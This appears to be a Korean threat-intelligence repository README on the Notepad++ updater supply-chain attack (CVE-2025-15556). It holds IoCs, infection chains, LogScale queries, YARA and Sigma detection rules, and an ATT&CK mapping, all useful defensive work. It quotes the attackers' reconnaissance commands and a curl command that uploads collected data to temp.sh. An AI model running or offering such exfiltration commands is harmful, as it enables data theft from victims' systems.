
Notepad++ 공급망 공격(CVE-2025-15556) — Lotus Blossom APT, 2025년 6월~12월에 대한 IoC 및 탐지 규칙. Falcon LogScale 쿼리, YARA/Sigma 규칙 및 MITRE ATT&CK 매핑을 포함합니다.
CVE-2025-15556 | Lotus Blossom / Raspberry Typhoon | 2025년 6월 ~ 12월
이 저장소는 2026년 2월 2일에 공개된 Notepad++ 공급망 공격과 관련된 포괄적이고 통합된 침해 지표(IoC) 모음입니다.
2025년 6월부터 12월까지, 중국 국가 지원 위협 행위자가 Notepad++의 호스팅 인프라를 침해하여 내장 업데이트 메커니즘(WinGUp)을 납치했습니다. 이를 통해 표적 사용자에게 선택적으로 트로이 목마화된 설치 프로그램을 전달했습니다. 이 공격은 업데이트 프로그램의 암호화 검증 부재(v8.8.9 이전)를 악용하여 맞춤형 백도어, Cobalt Strike Beacon 및 Metasploit 페이로드를 배포할 수 있게 했습니다.
| CVE | CVE-2025-15556 — 무결성 검사 없이 코드 다운로드 |
| 위협 행위자 | Lotus Blossom (Bilbug, Raspberry Typhoon, Thrip) / Zirconium (Violet Typhoon) |
| 활동 기간 | 2025년 6월 ~ 2025년 12월 2일 |
| 공격 벡터 | WinGUp 자동 업데이터를 통한 공급망 손상 |
| 표적 | 정부, 통신, 금융 서비스, IT 공급업체 (필리핀, 베트남, 엘살바도르, 호주, 동아시아) |
| 악성코드 | Chrysalis 백도어 (맞춤형), Cobalt Strike Beacon, Metasploit Meterpreter |
| 패치 버전 | Notepad++ v8.8.9+ (인증서 확인) / v8.9.1+ (XMLDSig 검증) |
Kaspersky GReAT는 세 가지의 별개 감염 체인을 식별했으며, 대략 매월 교체되어 탐지를 회피했습니다:
GUP.exe → update.exe (NSIS) → ProShow.exe (정상) → "load" 파일을 통한 익스플로잇
→ Metasploit 다운로더 → Cobalt Strike Beacon
whoami && tasklist → temp.sh를 통해 유출%appdata%\ProShow\GUP.exe → update.exe (NSIS) → script.exe (Lua 인터프리터) → alien.ini (컴파일된 Lua)
→ EnumWindowStationsW를 통한 셸코드 → Metasploit 다운로더 → Cobalt Strike Beacon
whoami && tasklist && systeminfo && netstat -ano%appdata%\Adobe\Scripts\GUP.exe → update.exe (NSIS) → BluetoothService.exe (정상) → log.dll (사이드로드됨)
→ "BluetoothService" 셸코드 복호화 → Chrysalis 백도어
%appdata%\Bluetooth\C:\ProgramData\USOShared\에서 발견됨 ┌─────────────────────────────────────────────────────────┐
│ 침해 타임라인 │
├─────────┬─────────┬─────────┬─────────┬─────────┬──────┤
│ 25/07 │ 25/08 │ 25/09 │ 25/10 │ 25/11 │25/12 │
├─────────┴─────────┴─────────┴─────────┴─────────┴──────┤
체인 #1 (ProShow) │████████████████████ │
체인 #2 (Lua) │ █████████████████████████████ │
체인 #3 (DLL SL) │ ██████████████ │
인프라 접근 │████████████████████████████████████████████████████████│
└────────────────────────────────────────────────────────┘
| 파일 | 설명 |
|---|---|
notepadpp_supply_chain_iocs.csv | 전체 IoC 데이터셋 (105개 지표) 및 MITRE ATT&CK 매핑 포함 |
행위 기반 — IoC 독립적, 가장 높은 가치:
gup.exe가 정상적인 서명된 Notepad++ 설치 프로그램 이외의 자식 프로세스를 생성하는 경우gup.exe가 notepad-plus-plus.org, github.com, release-assets.githubusercontent.com 이외의 도메인/IP에 연결하는 경우%appdata%\ProShow\, %appdata%\Adobe\Scripts\, %appdata%\Bluetooth\%localappdata%\Temp\ns.tmp\ 생성 (NSIS 런타임 — 모든 체인에 존재)네트워크 — 신뢰도 높음:
cdncheck.it.com, safe-dns.it.com, self-dns.it.com, api.skycloudcenter.com, api.wiresguard.com의 DNS 해석temp.sh (51.91.79.17)로의 연결 — 특히 curl을 통한 파일 업로드temp.sh URL이 포함된 HTTP 요청45.76.155.202, 45.32.144.255, 95.179.213.0, 45.77.31.210로의 아웃바운드 연결정찰 명령 (사후 악용):
cmd /c whoami&&tasklist > 1.txt
cmd /c "whoami&&tasklist&&systeminfo&&netstat -ano" > a.txt
curl -F "[email protected]" -s https://temp.sh/upload
#event_simpleName=ProcessRollup2 event_platform=Win ParentBaseFileName="gup.exe"
| FilePath=/\\Device\\HarddiskVolume\d+(?<shortFilePath>.+$)/
| groupBy([FileName, SHA256HashData, shortFilePath, CommandLine])
#event_simpleName=/(ProcessRollup2|NetworkConnectIP4|DnsRequest)/ event_platform=Win
| case {
// 악성 IP
RemoteAddressIP4=/(95\.179\.213\.0|61\.4\.102\.97|59\.110\.7\.32|124\.222\.137\.114|45\.76\.155\.202|45\.32\.144\.255|45\.77\.31\.210)/
| iocType := "악성 IP" | iocValue := RemoteAddressIP4 | riskScore := "높음";
// 악성 도메인
DomainName=/(api\.skycloudcenter\.com|api\.wiresguard\.com|cdncheck\.it\.com|safe-dns\.it\.com|self-dns\.it\.com|temp\.sh)/i
| iocType := "악성 도메인" | iocValue := DomainName | riskScore := "높음";
// 의심스러운 파일명
ImageFileName=/\\(BluetoothService|admin|system|loader1|loader2|s047t5g|ConsoleApplication2|3yzr31vk|uffhxpSy)\.exe$/i
| iocType := "의심스러운 파일명" | iocValue := ImageFileName | riskScore := "중간";
// 의심스러운 DLL
ImageFileName=/\\(log\.dll|libtcc\.dll)$/i
| iocType := "의심스러운 DLL" | iocValue := ImageFileName | riskScore := "중간";
// 체인별 아티팩트
ImageFileName=/\\(alien\.ini|load)$/i
| iocType := "체인 아티팩트" | iocValue := ImageFileName | riskScore := "높음";
* | iocType := null;
}
| iocType=*
| ImageFileName=/\\(?<FileName>[^\\]+)$/
| table([riskScore, iocType, iocValue, @timestamp, aid, ComputerName, FileName, ImageFileName, CommandLine, SHA256HashData, RemoteAddressIP4, DomainName], limit=5000)
#event_simpleName=DirectoryCreate event_platform=Win
| FilePath=/\\ns\.tmp$/i
| FilePath=/\\Temp\\ns\.tmp$/i
| groupBy([aid, ComputerName, FilePath, ContextTimeStamp], limit=5000)
rule Notepadpp_SupplyChain_MaliciousUpdater {
meta:
description = "Notepad++ 공급망 공격에서 악성 NSIS 설치 프로그램 탐지"
author = "Renato Z3r0 ed i miei sorcini"
date = "2026-02"
reference = "https://securelist.com/notepad-supply-chain-attack/118708/"
tlp = "WHITE"
strings:
$nsis = "Nullsoft.NSIS" ascii
$recon1 = "whoami" ascii nocase
$recon2 = "tasklist" ascii nocase
$recon3 = "systeminfo" ascii nocase
$recon4 = "netstat -ano" ascii nocase
$exfil = "temp.sh/upload" ascii nocase
$curl = "curl" ascii nocase
$dir1 = "\\ProShow\\" ascii nocase
$dir2 = "\\Adobe\\Scripts\\" ascii nocase
$dir3 = "\\Bluetooth\\" ascii nocase
condition:
uint16(0) == 0x5A4D and
$nsis and
(2 of ($recon*) or $exfil or ($curl and 1 of ($recon*))) and
1 of ($dir*)
}
title: Notepad++ GUP.exe 의심스러운 자식 프로세스
id: a1b2c3d4-e5f6-7890-abcd-ef1234567890
status: experimental
description: GUP.exe(Notepad++ 업데이터)가 공급망 침해를 암시하는 의심스러운 자식 프로세스를 생성하는 것을 탐지
author: Renato Z3r0 ed i miei sorcini
date: 2026/02/09
references:
- https://securelist.com/notepad-supply-chain-attack/118708/
- https://www.rapid7.com/blog/post/tr-chrysalis-backdoor-dive-into-lotus-blossoms-toolkit/
tags:
- attack.initial_access
- attack.t1195.002
- cve.2025.15556
logsource:
category: process_creation
product: windows
detection:
selection_parent:
ParentImage|endswith: '\gup.exe'
filter_legitimate:
Image|endswith:
- '\npp.Installer.x64.exe'
- '\npp.Installer.exe'
condition: selection_parent and not filter_legitimate
falsepositives:
- 비표준 이름을 가진 정식 Notepad++ 설치 프로그램
level: high
title: temp.sh를 통한 정찰 데이터 유출
id: b2c3d4e5-f6a7-8901-bcde-f12345678901
status: experimental
description: 시스템 정찰 후 temp.sh로 데이터를 업로드하는 것을 탐지합니다. Notepad++ 공급망 공격에서 관찰됨
author: Renato Z3r0 ed i miei sorcini
date: 2026/02/09
references:
- https://securelist.com/notepad-supply-chain-attack/118708/
tags:
- attack.exfiltration
- attack.t1567
- attack.discovery
- attack.t1082
logsource:
category: process_creation
product: windows
detection:
selection_curl:
CommandLine|contains:
- 'temp.sh/upload'
- 'temp.sh'
Image|endswith: '\curl.exe'
condition: selection_curl
falsepositives:
- temp.sh 파일 공유 서비스의 합법적 사용 (기업 환경에서는 드뭄)
level: high
title: Notepad++ 공급망 C2 도메인 해석
id: c3d4e5f6-a7b8-9012-cdef-123456789012
status: experimental
description: Notepad++ 공급망 공격과 관련된 C2 도메인의 DNS 해석 탐지
author: Renato Z3r0 ed i miei sorcini
date: 2026/02/09
references:
- https://securelist.com/notepad-supply-chain-attack/118708/
- https://www.rapid7.com/blog/post/tr-chrysalis-backdoor-dive-into-lotus-blossoms-toolkit/
tags:
- attack.command_and_control
- attack.t1071.001
logsource:
category: dns_query
product: windows
detection:
selection:
QueryName|endswith:
- 'cdncheck.it.com'
- 'safe-dns.it.com'
- 'self-dns.it.com'
- 'api.skycloudcenter.com'
- 'api.wiresguard.com'
condition: selection
falsepositives:
- 기업 환경에서는 매우 드묾
level: critical
gup.exe%appdata%\ProShow\, %appdata%\Adobe\Scripts\, %appdata%\Bluetooth\)| 날짜 | 변경 사항 |
|---|---|
| 2026-02-09 | 초기 릴리스 — Kaspersky, Rapid7, CrowdStrike, Tenable에서 통합된 105개 IoC |
이 저장소는 MIT 라이선스에 따라 제공됩니다. IoC는 방어 목적으로만 공개 출처에서 집계되었습니다.
기여를 환영합니다. 추가 IoC, 탐지 규칙 또는 수정 사항이 있는 경우:
면책 조항: 이 저장소는 방어적 사이버 보안 목적으로만 사용됩니다. IoC 및 탐지 규칙은 조직이 이 공급망 손상에 대한 노출을 평가하는 데 도움이 되도록 있는 그대로 제공됩니다.
| 열 | 설명 |
|---|
ioc_type | 유형: ip, domain, url, sha1, sha256, filepath, filename, useragent, behavior, cve, attribution, compromise_window |
ioc_value | 지표 값 |
chain | 감염 체인 (1, 2, 3, 1/2, 2/3, all, n/a) |
context | IoC가 나타내는 내용 설명 |
source | 인텔리전스 출처 (Kaspersky, Rapid7, CrowdStrike, Tenable, Kevin Beaumont) |
risk | 심각도 (CRITICAL, HIGH, MEDIUM, LOW, INFO) |
mitre_technique | MITRE ATT&CK 기술 ID |
| 전술 | 기술 | ID | 이 캠페인에서의 사용 |
|---|
| 초기 접근 | 공급망 손상: 소프트웨어 공급망 손상 | T1195.002 | WinGUp 업데이트 메커니즘 납치 |
| 실행 | 명령 및 스크립트 인터프리터: Windows 명령 셸 | T1059.003 | cmd.exe를 통한 정찰 |
| 실행 | 명령 및 스크립트 인터프리터: Python/Lua | T1059.006 | 체인 #2 Lua 인터프리터 |
| 실행 | 클라이언트 실행을 위한 익스플로잇 | T1203 | 체인 #1 ProShow 취약점 |
| 실행 | 네이티브 API | T1106 | 셸코드 실행을 위한 EnumWindowStationsW |
| 지속성 | 실행 흐름 납치: DLL 사이드로딩 | T1574.002 | 체인 #3 log.dll 사이드로딩 |
| 방어 회피 | 난독화된 파일 또는 정보 | T1027 | 암호화된 셸코드, XOR 키 "CRAZY" |
| 방어 회피 | 위장: 합법적인 이름 일치 | T1036.005 | BluetoothService.exe, update.exe, AutoUpdater.exe |
| 탐색 | 시스템 정보 탐색 | T1082 | whoami, systeminfo, tasklist, netstat |
| 수집 | 데이터 스테이징: 로컬 데이터 스테이징 | T1074.001 | 정찰 결과를 .txt 파일에 저장 |
| 명령 및 제어 | 응용 계층 프로토콜: 웹 프로토콜 | T1071.001 | Cobalt Strike, Chrysalis를 통한 HTTPS C2 |
| 명령 및 제어 | 암호화된 채널 | T1573 | CS Beacon 암호화된 설정 |
| 명령 및 제어 | 수신 도구 전송 | T1105 | CS Beacon을 가져오는 Metasploit 다운로더 |
| 유출 | 웹 서비스를 통한 유출 | T1567 | temp.sh로 업로드 |
| 출처 | 링크 |
|---|
| Kaspersky GReAT — 눈에 띄지 않는 실행 체인 및 새로운 IoC | securelist.com |
| Rapid7 — Chrysalis 백도어: Lotus Blossom의 도구 키트 탐구 | rapid7.com |
| Notepad++ 공식 공개 — 납치 사건 정보 업데이트 | notepad-plus-plus.org |
| Kevin Beaumont — 초기 공개 및 귀속 | DoublePulsar |
| Tenable — Notepad++ 공급망 손상에 관한 FAQ | tenable.com |
| Orca Security — 업데이트 하이재킹 분석 및 수정 | orca.security |
| CSO Online — 중국 APT의 정교한 공급망 공격 | csoonline.com |